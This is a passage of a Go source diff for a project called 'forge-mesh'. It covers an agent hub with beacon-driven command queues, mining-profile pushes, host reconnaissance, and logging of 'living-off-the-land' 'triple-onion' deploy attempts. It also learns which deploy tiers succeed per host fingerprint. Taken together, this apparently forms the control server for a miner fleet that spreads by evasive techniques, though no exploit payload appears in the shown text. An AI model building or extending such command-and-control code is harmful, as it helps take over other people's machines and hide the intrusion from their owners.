dc.conn.SetReadLimit(1 << 18)
|
||||
for {
|
||||
if _, _, err := dc.conn.ReadMessage(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) writePump(ac *agentConn, ping bool) {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer func() {
|
||||
ticker.Stop()
|
||||
ac.conn.Close()
|
||||
}()
|
||||
|
||||
for {
|
||||
select {
|
||||
case msg, ok := <-ac.send:
|
||||
_ = ac.conn.SetWriteDeadline(time.Now().Add(10 * time.Second))
|
||||
if !ok {
|
||||
_ = ac.conn.WriteMessage(websocket.CloseMessage, []byte{})
|
||||
return
|
||||
}
|
||||
if err := ac.conn.WriteMessage(websocket.TextMessage, msg); err != nil {
|
||||
return
|
||||
}
|
||||
case <-ticker.C:
|
||||
if ping {
|
||||
_ = ac.conn.SetWriteDeadline(time.Now().Add(10 * time.Second))
|
||||
if err := ac.conn.WriteMessage(websocket.PingMessage, nil); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) unregisterAgent(ac *agentConn) {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
|
||||
if ac.hostID != "" {
|
||||
delete(h.agents, ac.hostID)
|
||||
_ = h.store.MarkOffline(ac.hostID)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) DispatchCommand(hostID, action string, args map[string]any) (*types.FleetCommand, error) {
|
||||
cmd := types.FleetCommand{
|
||||
ID: uuid.NewString(),
|
||||
Action: action,
|
||||
Args: args,
|
||||
IssuedAt: time.Now().UTC(),
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
ac, online := h.agents[hostID]
|
||||
if online {
|
||||
h.mu.Unlock()
|
||||
h.sendCommand(ac, cmd)
|
||||
return &cmd, nil
|
||||
}
|
||||
|
||||
h.pendingCmds[hostID] = append(h.pendingCmds[hostID], cmd)
|
||||
h.mu.Unlock()
|
||||
return &cmd, nil
|
||||
}
|
||||
|
||||
func (h *Hub) sendCommand(ac *agentConn, cmd types.FleetCommand) {
|
||||
payload, _ := json.Marshal(types.WsMessage{
|
||||
Type: "command",
|
||||
HostID: ac.hostID,
|
||||
Command: &cmd,
|
||||
})
|
||||
select {
|
||||
case ac.send <- payload:
|
||||
default:
|
||||
log.Printf("agent %s send buffer full", ac.hostID)
|
||||
}
|
||||
}
|
||||
|
||||
// PushMiningProfile sends an updated mining profile to a connected agent.
|
||||
func (h *Hub) PushMiningProfile(hostID string, profile types.MiningProfile) bool {
|
||||
payload, err := json.Marshal(types.WsMessage{
|
||||
Type: "mining_profile",
|
||||
HostID: hostID,
|
||||
Payload: map[string]any{"profile": profile},
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
ac, ok := h.agents[hostID]
|
||||
h.mu.RUnlock()
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
select {
|
||||
case ac.send <- payload:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) PopPendingCommands(hostID string) []types.FleetCommand {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
cmds := h.pendingCmds[hostID]
|
||||
delete(h.pendingCmds, hostID)
|
||||
return cmds
|
||||
}
|
||||
|
||||
func (h *Hub) broadcastToDecks(data []byte) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for dc := range h.decks {
|
||||
select {
|
||||
case dc.send <- data:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) HandleBeacon(store *Store) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
var hb types.HeartbeatPayload
|
||||
if err := json.NewDecoder(r.Body).Decode(&hb); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
host, err := store.UpsertHeartbeat(hb)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
cmds := h.PopPendingCommands(host.ID)
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(types.BeaconResponse{OK: true, Commands: cmds})
|
||||
}
|
||||
}
|
||||
|
||||
func constantTimeEqual(a, b string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
var v byte
|
||||
for i := 0; i < len(a); i++ {
|
||||
v |= a[i] ^ b[i]
|
||||
}
|
||||
return v == 0
|
||||
}
|
||||
|
||||
func coalesce(values ...string) string {
|
||||
for _, v := range values {
|
||||
if v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func coalesceFloat(values ...float64) float64 {
|
||||
for _, v := range values {
|
||||
if v > 0 {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
233
internal/fleet/lotl.go
Normal file
233
internal/fleet/lotl.go
Normal file
@@ -0,0 +1,233 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// LOTLAttempt is one triple-onion deploy audit row.
|
||||
type LOTLAttempt struct {
|
||||
ID string `json:"id"`
|
||||
HostID string `json:"host_id"`
|
||||
Tier int `json:"tier"`
|
||||
Phase string `json:"phase"`
|
||||
Status string `json:"status"`
|
||||
Error string `json:"error,omitempty"`
|
||||
MetadataJSON string `json:"metadata_json,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// DB exposes the underlying SQLite connection.
|
||||
func (s *Store) DB() *sql.DB {
|
||||
return s.db
|
||||
}
|
||||
|
||||
// LogLOTL records a triple-onion phase attempt.
|
||||
func (s *Store) LogLOTL(ctx context.Context, hostID string, tier int, phase, status, errMsg, metadata string) error {
|
||||
if s == nil {
|
||||
return nil
|
||||
}
|
||||
if metadata == "" {
|
||||
metadata = "{}"
|
||||
}
|
||||
_, err := s.db.ExecContext(ctx, `
|
||||
INSERT INTO lotl_attempts (id, host_id, tier, phase, status, error, metadata_json)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
||||
uuid.NewString(), hostID, tier, phase, status, errMsg, metadata)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListLOTL returns recent attempts for a host (newest first).
|
||||
func (s *Store) ListLOTL(ctx context.Context, hostID string, limit int) ([]LOTLAttempt, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
rows, err := s.db.QueryContext(ctx, `
|
||||
SELECT id, host_id, tier, phase, status, COALESCE(error,''), metadata_json, created_at
|
||||
FROM lotl_attempts WHERE host_id = ?
|
||||
ORDER BY created_at DESC LIMIT ?`, hostID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []LOTLAttempt
|
||||
for rows.Next() {
|
||||
var a LOTLAttempt
|
||||
var created string
|
||||
if err := rows.Scan(&a.ID, &a.HostID, &a.Tier, &a.Phase, &a.Status, &a.Error, &a.MetadataJSON, &created); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
const atlasFailureThreshold = 3
|
||||
const atlasImmuneHours = 24
|
||||
|
||||
// ShouldSkipTier checks failure atlas immunity for phenotype+tier.
|
||||
func (s *Store) ShouldSkipTier(ctx context.Context, phenotype string, tier int) (bool, error) {
|
||||
if phenotype == "" || s == nil {
|
||||
return false, nil
|
||||
}
|
||||
var count int
|
||||
var immuneUntil sqlNullTime
|
||||
err := s.db.QueryRowContext(ctx, `
|
||||
SELECT failure_count, immune_until FROM failure_atlas
|
||||
WHERE phenotype = ? AND tier = ?`, phenotype, tier).Scan(&count, &immuneUntil)
|
||||
if err != nil {
|
||||
return false, nil
|
||||
}
|
||||
if immuneUntil.Valid && time.Now().Before(immuneUntil.Time) {
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// RecordFailure increments failure atlas for phenotype+tier.
|
||||
func (s *Store) RecordFailure(ctx context.Context, phenotype string, tier int) error {
|
||||
if phenotype == "" || s == nil {
|
||||
return nil
|
||||
}
|
||||
var count int
|
||||
_ = s.db.QueryRowContext(ctx, `
|
||||
SELECT failure_count FROM failure_atlas WHERE phenotype = ? AND tier = ?`,
|
||||
phenotype, tier).Scan(&count)
|
||||
count++
|
||||
|
||||
immuneUntil := ""
|
||||
if count >= atlasFailureThreshold {
|
||||
until := time.Now().Add(atlasImmuneHours * time.Hour)
|
||||
immuneUntil = until.Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
_, err := s.db.ExecContext(ctx, `
|
||||
INSERT INTO failure_atlas (id, phenotype, tier, failure_count, immune_until, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, datetime('now'))
|
||||
ON CONFLICT(phenotype, tier) DO UPDATE SET
|
||||
failure_count = excluded.failure_count,
|
||||
immune_until = excluded.immune_until,
|
||||
updated_at = datetime('now')`,
|
||||
randomHexID(), phenotype, tier, count, nullIfEmpty(immuneUntil))
|
||||
return err
|
||||
}
|
||||
|
||||
// RecordWin records a successful tier and updates adaptive order wins.
|
||||
func (s *Store) RecordWin(ctx context.Context, phenotype string, tier int) error {
|
||||
if phenotype == "" || s == nil {
|
||||
return nil
|
||||
}
|
||||
order, _ := s.GetAdaptiveOrder(ctx, phenotype)
|
||||
order = promoteTier(order, tier)
|
||||
b, _ := json.Marshal(order)
|
||||
_, err := s.db.ExecContext(ctx, `
|
||||
INSERT INTO phenotype_tier_orders (phenotype, tier_order_json, wins, updated_at)
|
||||
VALUES (?, ?, 1, datetime('now'))
|
||||
ON CONFLICT(phenotype) DO UPDATE SET
|
||||
tier_order_json = excluded.tier_order_json,
|
||||
wins = wins + 1,
|
||||
updated_at = datetime('now')`,
|
||||
phenotype, string(b))
|
||||
return err
|
||||
}
|
||||
|
||||
func promoteTier(order []int, tier int) []int {
|
||||
out := []int{tier}
|
||||
for _, t := range order {
|
||||
if t != tier {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
for _, t := range defaultOrderInts() {
|
||||
found := false
|
||||
for _, x := range out {
|
||||
if x == t {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// GetAdaptiveOrder returns learned tier order or defaults.
|
||||
func (s *Store) GetAdaptiveOrder(ctx context.Context, phenotype string) ([]int, error) {
|
||||
if phenotype != "" {
|
||||
var raw string
|
||||
err := s.db.QueryRowContext(ctx, `
|
||||
SELECT tier_order_json FROM phenotype_tier_orders WHERE phenotype = ?`, phenotype).
|
||||
Scan(&raw)
|
||||
if err == nil && raw != "" && raw != "[]" {
|
||||
var order []int
|
||||
if json.Unmarshal([]byte(raw), &order) == nil && len(order) > 0 {
|
||||
return order, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return defaultOrderInts(), nil
|
||||
}
|
||||
|
||||
func defaultOrderInts() []int {
|
||||
order := DefaultTierOrder()
|
||||
out := make([]int, len(order))
|
||||
for i := range order {
|
||||
out[i] = i + 1
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// SetHostPhenotype persists recon-derived fingerprint on a host.
|
||||
func (s *Store) SetHostPhenotype(ctx context.Context, hostID, reconJSON, phenotype string) error {
|
||||
_, err := s.db.ExecContext(ctx, `
|
||||
UPDATE hosts SET phenotype = ?, fingerprint = COALESCE(NULLIF(fingerprint,''), ?),
|
||||
updated_at = datetime('now') WHERE id = ?`,
|
||||
phenotype, reconJSON, hostID)
|
||||
return err
|
||||
}
|
||||
|
||||
// HostHashrate returns current hashrate for earn-before-burn gate.
|
||||
func (s *Store) HostHashrate(ctx context.Context, hostID string) (float64, error) {
|
||||
var hr float64
|
||||
err := s.db.QueryRowContext(ctx, `SELECT hashrate FROM hosts WHERE id = ?`, hostID).Scan(&hr)
|
||||
return hr, err
|
||||
}
|
||||
|
||||
// SiblingHosts lists other enrolled hosts sharing a phenotype.
|
||||
func (s *Store) SiblingHosts(ctx context.Context, hostID, phenotype string) ([]string, error) {
|
||||
if phenotype == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.db.QueryContext(ctx, `
|
||||
SELECT id FROM hosts WHERE phenotype = ? AND id != ? AND status != 'offline'`,
|
||||
phenotype, hostID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var ids []string
|
||||
for rows.Next() {
|
||||
var id string
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ids = append(ids, id)
|
||||
}
|
||||
return ids, rows.Err()
|
||||
}
|
||||
|
||||
func randomHexID() string {
|
||||
b := make([]byte, 16)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
91
internal/fleet/phenotype_test.go
Normal file
91
internal/fleet/phenotype_test.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"forge-mesh/internal/db"
|
||||
)
|
||||
|
||||
func TestPhenotypeFromRecon(t *testing.T) {
|
||||
report := &ReconReport{
|
||||
Kernel: "6.8.12-generic",
|
||||
Arch: "x86_64",
|
||||
Virt: "baremetal",
|
||||
ContainerRuntime: "podman",
|
||||
GPU: GPUInfo{Available: true, Vendor: "nvidia"},
|
||||
}
|
||||
key := PhenotypeFromRecon(report)
|
||||
if key == "" {
|
||||
t.Fatal("expected non-empty phenotype key")
|
||||
}
|
||||
if want := "nvidia"; !containsPart(key, want) {
|
||||
t.Fatalf("expected gpu vendor in key %q", key)
|
||||
}
|
||||
if want := "podman"; !containsPart(key, want) {
|
||||
t.Fatalf("expected runtime in key %q", key)
|
||||
}
|
||||
|
||||
// Stable for same inputs
|
||||
key2 := PhenotypeFromRecon(report)
|
||||
if key != key2 {
|
||||
t.Fatalf("phenotype not stable: %q vs %q", key, key2)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdaptiveOrderAndAtlas(t *testing.T) {
|
||||
conn, err := db.Open(t.TempDir() + "/test.db")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
store := NewStore(conn)
|
||||
ctx := context.Background()
|
||||
pheno := "6.8|x86_64|baremetal|nvidia|podman"
|
||||
|
||||
if err := store.RecordFailure(ctx, pheno, 4); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.RecordFailure(ctx, pheno, 4); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
skip, err := store.ShouldSkipTier(ctx, pheno, 4)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if skip {
|
||||
t.Fatal("should not skip before threshold")
|
||||
}
|
||||
|
||||
if err := store.RecordFailure(ctx, pheno, 4); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
skip, _ = store.ShouldSkipTier(ctx, pheno, 4)
|
||||
if !skip {
|
||||
t.Fatal("expected atlas skip after 3 failures")
|
||||
}
|
||||
|
||||
if err := store.RecordWin(ctx, pheno, 7); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
order, err := store.GetAdaptiveOrder(ctx, pheno)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(order) != 14 {
|
||||
t.Fatalf("expected 14 tiers, got %d", len(order))
|
||||
}
|
||||
if order[0] != 7 {
|
||||
t.Fatalf("winning tier 7 should be first, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func containsPart(s, part string) bool {
|
||||
for i := 0; i <= len(s)-len(part); i++ {
|
||||
if s[i:i+len(part)] == part {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
91
internal/fleet/policy_snapshot.go
Normal file
91
internal/fleet/policy_snapshot.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PolicySnapshot is a shareable frozen policy bundle.
|
||||
type PolicySnapshot struct {
|
||||
Token string `json:"token"`
|
||||
PolicyJSON json.RawMessage `json:"policy_json"`
|
||||
ExpiresAt string `json:"expires_at,omitempty"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
|
||||
// CreatePolicySnapshot stores a policy JSON blob and returns an opaque token.
|
||||
func (s *Store) CreatePolicySnapshot(policy map[string]any, ttl time.Duration) (*PolicySnapshot, error) {
|
||||
raw, err := json.Marshal(policy)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("marshal policy: %w", err)
|
||||
}
|
||||
|
||||
token, err := randomToken(16)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
now := time.Now().UTC()
|
||||
expires := ""
|
||||
if ttl > 0 {
|
||||
expires = now.Add(ttl).Format(time.RFC3339)
|
||||
}
|
||||
|
||||
_, err = s.db.Exec(`
|
||||
INSERT INTO policy_snapshots (token, policy_json, expires_at, created_at)
|
||||
VALUES (?, ?, ?, ?)
|
||||
`, token, string(raw), nullIfEmpty(expires), now.Format(time.RFC3339))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("insert policy snapshot: %w", err)
|
||||
}
|
||||
|
||||
return &PolicySnapshot{
|
||||
Token: token,
|
||||
PolicyJSON: raw,
|
||||
ExpiresAt: expires,
|
||||
CreatedAt: now.Format(time.RFC3339),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetPolicySnapshot loads a snapshot by token (public summon link).
|
||||
func (s *Store) GetPolicySnapshot(token string) (*PolicySnapshot, error) {
|
||||
row := s.db.QueryRow(`
|
||||
SELECT token, policy_json, expires_at, created_at
|
||||
FROM policy_snapshots WHERE token = ?
|
||||
`, token)
|
||||
|
||||
var snap PolicySnapshot
|
||||
var expires sql.NullString
|
||||
var created string
|
||||
if err := row.Scan(&snap.Token, &snap.PolicyJSON, &expires, &created); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if expires.Valid {
|
||||
snap.ExpiresAt = expires.String
|
||||
t, err := time.Parse(time.RFC3339, expires.String)
|
||||
if err == nil && time.Now().After(t) {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
}
|
||||
snap.CreatedAt = created
|
||||
return &snap, nil
|
||||
}
|
||||
|
||||
func randomToken(n int) (string, error) {
|
||||
b := make([]byte, n)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return hex.EncodeToString(b), nil
|
||||
}
|
||||
|
||||
func nullIfEmpty(s string) sql.NullString {
|
||||
if s == "" {
|
||||
return sql.NullString{}
|
||||
}
|
||||
return sql.NullString{String: s, Valid: true}
|
||||
}
|
||||
151
internal/fleet/recon.go
Normal file
151
internal/fleet/recon.go
Normal file
@@ -0,0 +1,151 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ReconReport holds read-only host capability probes for triple-onion deploy.
|
||||
type ReconReport struct {
|
||||
Kernel string `json:"kernel"`
|
||||
Arch string `json:"arch"`
|
||||
CgroupsV2 bool `json:"cgroups_v2"`
|
||||
PodmanAvailable bool `json:"podman_available"`
|
||||
DockerAvailable bool `json:"docker_available"`
|
||||
GPU GPUInfo `json:"gpu"`
|
||||
Virt string `json:"virt,omitempty"`
|
||||
ContainerRuntime string `json:"container_runtime,omitempty"`
|
||||
Extra map[string]string `json:"extra,omitempty"`
|
||||
}
|
||||
|
||||
type GPUInfo struct {
|
||||
Available bool `json:"available"`
|
||||
Vendor string `json:"vendor,omitempty"`
|
||||
Devices []string `json:"devices,omitempty"`
|
||||
}
|
||||
|
||||
// RunRecon executes read-only probes: kernel, cgroups, podman, GPU.
|
||||
func RunRecon() (*ReconReport, error) {
|
||||
report := &ReconReport{Extra: map[string]string{}}
|
||||
|
||||
if out, err := exec.Command("uname", "-r").Output(); err == nil {
|
||||
report.Kernel = strings.TrimSpace(string(out))
|
||||
}
|
||||
if out, err := exec.Command("uname", "-m").Output(); err == nil {
|
||||
report.Arch = strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
report.CgroupsV2 = probeCgroupsV2()
|
||||
report.PodmanAvailable = commandExists("podman")
|
||||
report.DockerAvailable = commandExists("docker")
|
||||
report.GPU = probeGPU()
|
||||
report.Virt = probeVirt()
|
||||
report.ContainerRuntime = detectContainerRuntime(report)
|
||||
|
||||
return report, nil
|
||||
}
|
||||
|
||||
func probeCgroupsV2() bool {
|
||||
data, err := os.ReadFile("/sys/fs/cgroup/cgroup.controllers")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(strings.TrimSpace(string(data))) > 0
|
||||
}
|
||||
|
||||
func probeGPU() GPUInfo {
|
||||
info := GPUInfo{}
|
||||
if commandExists("nvidia-smi") {
|
||||
if out, err := exec.Command("nvidia-smi", "-L").Output(); err == nil {
|
||||
lines := strings.Split(strings.TrimSpace(string(out)), "\n")
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
info.Devices = append(info.Devices, line)
|
||||
}
|
||||
}
|
||||
if len(info.Devices) > 0 {
|
||||
info.Available = true
|
||||
info.Vendor = "nvidia"
|
||||
}
|
||||
}
|
||||
}
|
||||
if !info.Available && commandExists("rocm-smi") {
|
||||
if _, err := exec.Command("rocm-smi", "--showid").Output(); err == nil {
|
||||
info.Available = true
|
||||
info.Vendor = "amd"
|
||||
}
|
||||
}
|
||||
return info
|
||||
}
|
||||
|
||||
func probeVirt() string {
|
||||
data, err := os.ReadFile("/sys/class/dmi/id/product_name")
|
||||
if err != nil {
|
||||
return "baremetal"
|
||||
}
|
||||
name := strings.ToLower(strings.TrimSpace(string(data)))
|
||||
switch {
|
||||
case strings.Contains(name, "vmware"), strings.Contains(name, "virtualbox"),
|
||||
strings.Contains(name, "kvm"), strings.Contains(name, "qemu"):
|
||||
return "vm"
|
||||
default:
|
||||
return "baremetal"
|
||||
}
|
||||
}
|
||||
|
||||
func detectContainerRuntime(r *ReconReport) string {
|
||||
if r.PodmanAvailable {
|
||||
return "podman"
|
||||
}
|
||||
if r.DockerAvailable {
|
||||
return "docker"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func commandExists(name string) bool {
|
||||
_, err := exec.LookPath(name)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// PhenotypeFromRecon builds a stable fingerprint key from recon data.
|
||||
func PhenotypeFromRecon(r *ReconReport) string {
|
||||
gpu := "none"
|
||||
if r.GPU.Available {
|
||||
gpu = r.GPU.Vendor
|
||||
}
|
||||
rt := r.ContainerRuntime
|
||||
if rt == "" {
|
||||
rt = "none"
|
||||
}
|
||||
parts := []string{r.Arch, r.Virt, gpu, rt}
|
||||
key := strings.Join(parts, "|")
|
||||
// Normalize kernel major for grouping
|
||||
if idx := strings.Index(r.Kernel, "."); idx > 0 {
|
||||
key = r.Kernel[:idx] + "." + strings.Split(r.Kernel[idx+1:], ".")[0] + "|" + key
|
||||
}
|
||||
return key
|
||||
}
|
||||
|
||||
// ReconJSON serializes a recon report for lotl metadata.
|
||||
func ReconJSON(r *ReconReport) string {
|
||||
b, _ := json.Marshal(r)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// ParseReconReport loads recon from JSON metadata.
|
||||
func ParseReconReport(raw string) (*ReconReport, error) {
|
||||
var r ReconReport
|
||||
if err := json.Unmarshal([]byte(raw), &r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &r, nil
|
||||
}
|
||||
|
||||
// HostReconPath returns optional cached recon file for a host.
|
||||
func HostReconPath(dataDir, hostID string) string {
|
||||
return filepath.Join(dataDir, "recon", hostID+".json")
|
||||
}
|
||||
219
internal/fleet/store.go
Normal file
219
internal/fleet/store.go
Normal file
@@ -0,0 +1,219 @@
|
||||
package fleet
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// Store persists fleet host and mining profile state.
|
||||
type Store struct {
|
||||
db *sql.DB
|
||||
}
|
||||
|
||||
func NewStore(db *sql.DB) *Store {
|
||||
return &Store{db: db}
|
||||
}
|
||||
|
||||
func (s *Store) UpsertHeartbeat(hb types.HeartbeatPayload) (*types.Host, error) {
|
||||
hostID := hb.HostID
|
||||
if hostID == "" {
|
||||
hostID = uuid.NewString()
|
||||
}
|
||||
|
||||
hps := hb.EffectiveHashrate()
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
|
||||
_, err := s.db.Exec(`
|
||||
INSERT INTO hosts (
|
||||
id, hostname, fingerprint, status, hashrate, hashrate_hps,
|
||||
current_tier, tier_type, tier_state, last_seen_at, updated_at
|
||||
)
|
||||
VALUES (?, ?, ?, 'online', ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
hostname = excluded.hostname,
|
||||
fingerprint = COALESCE(NULLIF(excluded.fingerprint, ''), hosts.fingerprint),
|
||||
status = 'online',
|
||||
hashrate = excluded.hashrate,
|
||||
hashrate_hps = excluded.hashrate_hps,
|
||||
current_tier = excluded.current_tier,
|
||||
tier_type = excluded.tier_type,
|
||||
tier_state = excluded.tier_state,
|
||||
last_seen_at = excluded.last_seen_at,
|
||||
updated_at = excluded.updated_at
|
||||
`, hostID, hb.Hostname, hb.Fingerprint, hps, hps,
|
||||
hb.CurrentTier, hb.TierType, hb.TierState, now, now)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("upsert host: %w", err)
|
||||
}
|
||||
|
||||
return s.GetHost(hostID)
|
||||
}
|
||||
|
||||
func (s *Store) GetHost(id string) (*types.Host, error) {
|
||||
row := s.db.QueryRow(`
|
||||
SELECT id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps,
|
||||
current_tier, tier_type, tier_state, clearance_level,
|
||||
mining_profile_id, last_seen_at, created_at, updated_at
|
||||
FROM hosts WHERE id = ?
|
||||
`, id)
|
||||
|
||||
return scanHost(row)
|
||||
}
|
||||
|
||||
func (s *Store) ListHosts() ([]types.Host, error) {
|
||||
rows, err := s.db.Query(`
|
||||
SELECT id, hostname, fingerprint, phenotype, status, hashrate, hashrate_hps,
|
||||
current_tier, tier_type, tier_state, clearance_level,
|
||||
mining_profile_id, last_seen_at, created_at, updated_at
|
||||
FROM hosts ORDER BY updated_at DESC
|
||||
`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list hosts: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var hosts []types.Host
|
||||
for rows.Next() {
|
||||
h, err := scanHost(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hosts = append(hosts, *h)
|
||||
}
|
||||
return hosts, rows.Err()
|
||||
}
|
||||
|
||||
func scanHost(scanner interface {
|
||||
Scan(dest ...any) error
|
||||
}) (*types.Host, error) {
|
||||
var h types.Host
|
||||
var fp, pheno, tierType, tierState, mpID, lastSeen sql.NullString
|
||||
var createdAt, updatedAt string
|
||||
|
||||
err := scanner.Scan(
|
||||
&h.ID, &h.Hostname, &fp, &pheno, &h.Status, &h.Hashrate, &h.HashrateHps,
|
||||
&h.CurrentTier, &tierType, &tierState, &h.ClearanceLevel,
|
||||
&mpID, &lastSeen, &createdAt, &updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("scan host: %w", err)
|
||||
}
|
||||
|
||||
if fp.Valid {
|
||||
h.Fingerprint = fp.String
|
||||
}
|
||||
if pheno.Valid {
|
||||
h.Phenotype = pheno.String
|
||||
}
|
||||
if tierType.Valid {
|
||||
h.TierType = tierType.String
|
||||
}
|
||||
if tierState.Valid {
|
||||
h.TierState = tierState.String
|
||||
}
|
||||
if mpID.Valid {
|
||||
h.MiningProfileID = &mpID.String
|
||||
}
|
||||
if lastSeen.Valid {
|
||||
t, _ := time.Parse(time.RFC3339, lastSeen.String)
|
||||
h.LastSeenAt = &t
|
||||
}
|
||||
h.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
h.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||
return &h, nil
|
||||
}
|
||||
|
||||
func (s *Store) MarkOffline(id string) error {
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
_, err := s.db.Exec(`UPDATE hosts SET status = 'offline', updated_at = ? WHERE id = ?`, now, id)
|
||||
return err
|
||||
}
|
||||
|
||||
func (s *Store) SaveMiningProfile(ctx context.Context, profile *types.MiningProfile) error {
|
||||
tiersJSON, err := json.Marshal(profile.Tiers)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal tiers: %w", err)
|
||||
}
|
||||
|
||||
policy := 0
|
||||
if profile.PolicyFromServer {
|
||||
policy = 1
|
||||
}
|
||||
|
||||
if profile.CreatedAt.IsZero() {
|
||||
